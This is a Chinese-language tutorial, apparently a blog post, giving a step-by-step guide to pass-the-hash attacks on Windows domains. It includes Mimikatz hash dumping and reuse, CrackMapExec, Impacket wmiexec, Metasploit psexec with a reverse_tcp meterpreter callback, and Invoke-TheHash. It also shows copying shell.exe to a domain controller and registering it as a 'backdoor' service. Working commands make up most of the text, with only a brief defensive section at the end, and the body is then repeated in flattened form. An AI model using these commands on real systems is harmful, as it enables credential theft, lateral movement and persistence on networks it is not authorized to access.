谭谈哈希传递那些世人皆知的事
字数 1114 2025-08-05 08:19:43

哈希传递攻击(PTH)全面指南

1. 哈希传递攻击概述

哈希传递攻击(Pass The Hash, PTH)是一种利用NTLM哈希值而非明文密码进行身份验证的攻击技术。在Windows系统的NTLM认证过程中,TYPE 3消息计算Response时使用的是用户NTLM Hash而非明文密码,这使得攻击者只需获取Hash即可模拟用户身份。

攻击特点

  • 不需要破解Hash或获取明文密码
  • 适用于域环境和工作组环境
  • 常用于内网横向移动
  • 特别有效于使用相同本地管理员账号密码的多台计算机环境

2. 攻击环境准备

典型攻击场景:

攻击者 → 已控制的域成员主机(Windows 7) → 域控制器(Windows Server 2012)

3. 使用Mimikatz进行PTH

3.1 获取NTLM Hash

privilege::debug
sekurlsa::logonpasswords

3.2 执行哈希传递

privilege::debug
sekurlsa::pth /user:administrator /domain:whoamianony /ntlm:ab89b1295e69d353dd7614c7a3a80cec

3.3 简化命令

mimikatz.exe privilege::debug "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec /run:cmd.exe"

3.4 后续利用

copy shell.exe \\DC.whoamianony.org\c$
sc \\DC.whoamianony.org create backdoor binpath="c:\shell.exe"
sc \\DC.whoamianony.org start backdoor
sc \\DC.whoamianony.org delete backdoor

4. 使用CrackMapExec进行PTH

安装

apt-get install crackmapexec

执行命令

crackmapexec smb 192.168.93.30 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x whoami

参数说明:

  • IP: 单个IP或IP段
  • -u: 用户名
  • -H: NTLM Hash
  • -d: 域名
  • -x: 要执行的命令

5. 使用wmiexec进行PTH

安装Impacket工具包

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .

执行命令

python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec whoamianony/administrator@192.168.93.129 "whoami"

6. 使用Metasploit进行PTH

常用模块:

  • auxiliary/admin/smb/psexec_command
  • exploit/windows/smb/psexec
  • exploit/windows/smb/psexec_psh

配置示例:

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec
set smbdomain whoamianony
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.93.129
set lport 4444
exploit

7. 使用PowerShell进行PTH

7.1 Invoke-SMBExec

Import-Module .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target 192.168.93.30 -Domain whoamianony -Username administrator -Hash 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec -Command "c:\shell.exe" -verbose

7.2 Invoke-TheHash

Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
Invoke-TheHash -Type WMIExec -Target 192.168.93.1/24 -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Command "c:\shell.exe" -verbose

7.3 Invoke-SMBClient

Import-Module .\Invoke-SMBClient.ps1
Invoke-SMBClient -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Source \\DC.whoamianony.org\c$ -verbose

8. 利用哈希传递登录RDP

8.1 开启Restricted Admin Mode

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

8.2 执行哈希传递

privilege::debug
sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

9. 防御措施

  1. 安装微软补丁KB2871997和KB2928120

    • 阻止本地账号用于远程接入系统
    • 影响Psexec、WMI、smbexec、IPC等工具的使用
  2. 例外情况

    • 默认Administrator账号(SID 500)仍可进行哈希传递
    • 即使重命名Administrator账号,只要SID仍为500,攻击仍有效
  3. 其他防御措施

    • 为每台计算机设置不同的本地管理员密码
    • 实施最小权限原则
    • 监控异常登录行为
    • 定期审计特权账号使用情况

10. 注意事项

  1. 使用dir命令时需使用主机名而非IP
  2. 使用Mimikatz进行哈希传递需要本地管理员权限
  3. 受限管理员模式仅对管理员组有效
  4. 哈希传递攻击在以下系统默认支持:
    • Windows 8.1
    • Windows Server 2012 R2
  5. Windows 7和Windows Server 2008 R2需要安装补丁kb2871997、kb2973351才支持
哈希传递攻击(PTH)全面指南 1. 哈希传递攻击概述 哈希传递攻击(Pass The Hash, PTH)是一种利用NTLM哈希值而非明文密码进行身份验证的攻击技术。在Windows系统的NTLM认证过程中,TYPE 3消息计算Response时使用的是用户NTLM Hash而非明文密码,这使得攻击者只需获取Hash即可模拟用户身份。 攻击特点 不需要破解Hash或获取明文密码 适用于域环境和工作组环境 常用于内网横向移动 特别有效于使用相同本地管理员账号密码的多台计算机环境 2. 攻击环境准备 典型攻击场景: 3. 使用Mimikatz进行PTH 3.1 获取NTLM Hash 3.2 执行哈希传递 3.3 简化命令 3.4 后续利用 4. 使用CrackMapExec进行PTH 安装 执行命令 参数说明: IP : 单个IP或IP段 -u : 用户名 -H : NTLM Hash -d : 域名 -x : 要执行的命令 5. 使用wmiexec进行PTH 安装Impacket工具包 执行命令 6. 使用Metasploit进行PTH 常用模块: auxiliary/admin/smb/psexec_command exploit/windows/smb/psexec exploit/windows/smb/psexec_psh 配置示例: 7. 使用PowerShell进行PTH 7.1 Invoke-SMBExec 7.2 Invoke-TheHash 7.3 Invoke-SMBClient 8. 利用哈希传递登录RDP 8.1 开启Restricted Admin Mode 8.2 执行哈希传递 9. 防御措施 安装微软补丁KB2871997和KB2928120 阻止本地账号用于远程接入系统 影响Psexec、WMI、smbexec、IPC等工具的使用 例外情况 默认Administrator账号(SID 500)仍可进行哈希传递 即使重命名Administrator账号,只要SID仍为500,攻击仍有效 其他防御措施 为每台计算机设置不同的本地管理员密码 实施最小权限原则 监控异常登录行为 定期审计特权账号使用情况 10. 注意事项 使用dir命令时需使用主机名而非IP 使用Mimikatz进行哈希传递需要本地管理员权限 受限管理员模式仅对管理员组有效 哈希传递攻击在以下系统默认支持: Windows 8.1 Windows Server 2012 R2 Windows 7和Windows Server 2008 R2需要安装补丁kb2871997、kb2973351才支持